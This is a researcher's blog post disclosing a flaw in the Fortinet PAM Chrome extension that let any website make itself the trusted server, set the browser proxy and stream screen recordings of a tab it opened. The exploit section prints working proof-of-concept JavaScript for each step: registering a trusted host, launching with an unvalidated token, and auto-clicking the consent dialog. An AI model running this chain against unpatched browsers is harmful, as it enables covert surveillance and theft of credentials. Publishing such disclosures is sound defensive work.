← Back to blogFortinet Privileged Access Agent: Any Site Could Control Your Proxy and Watch Your Tab
/James Arnott
Share

Fortinet Privileged Access Agent: Any Site Could Control Your Proxy and Watch Your Tab

TL;DR. The FortiPAM Chrome extension (1M+ users), used for Privileged Access Management, allowed any site to set the browser's proxy for the session, alongside allowing any site to create a new tab and send screen recordings of it to an attacker's server. That makes for trivial phishing attacks which only require the user to view something sensitive in the attacker-opened tab. CVSS 9.1 | CVE-2026-84388.

This is a shorter blog post than usual as this vulnerability isn't particularly complicated.

Fortinet's advisory: FG-IR-26-168.


Intro

The Fortinet PAM extension brokers privileged sessions: it opens a target, injects creds, applies a proxy policy, and optionally screen-records for audit. All of this is driven by a config fetched from the FortiPAM server.

The problem was that any page could nominate itself as that server.

The Exploit

The exploit flow went as follows:

1. Become a trusted server. A webRequest listener on https://*/api/v2/monitor/web-ui/state unconditionally adds the requested hostname to the "trusted-server" list. It doesn't check the initiator, or whether the request succeeded.

fetch("https://" + location.hostname + "/api/v2/monitor/web-ui/state").catch(
  () => {},
);

2. Unauthenticated launch. externally_connectable is <all_urls>. A non-JWT access token skips validation rather than failing it. The domain is attacker-controlled, so the extension pulls its whole session config from the attacker.

chrome.runtime.sendMessage(EXT_ID, {
  action: "launcher",
  type: "extension",
  domain: location.origin, // your server
  accesstoken: "NOTAJWT", // not a JWT -> not validated
  sec_id: 1,
  launcher: 1,
  secretName: "poc",
});

3. Auto-approve the consent dialog. The consent dialog lives in the main world DOM, so any site can just click it for the user.

document
  .getElementById("fortinet-sv-modal-overlay")
  .shadowRoot.querySelector(".sv-btn-allow")
  .click();

From there the attacker's config sets the proxy, opens the tab of their choosing and streams the recording back to them.

Timeline & Exploitation

This could have been exploited to exfiltrate sensitive data such as API keys where they are displayed to the user. The proxy would have been more difficult to exploit as most of the web is over HTTPs so MITM attacks would not be easy to conduct without downgrading to HTTP.

There's been no word on real-world exploitation, and we don't suspect there was any, although other researchers did also identify this issue.

We reported this on the 17th of July and the fix was out on the 1st of August.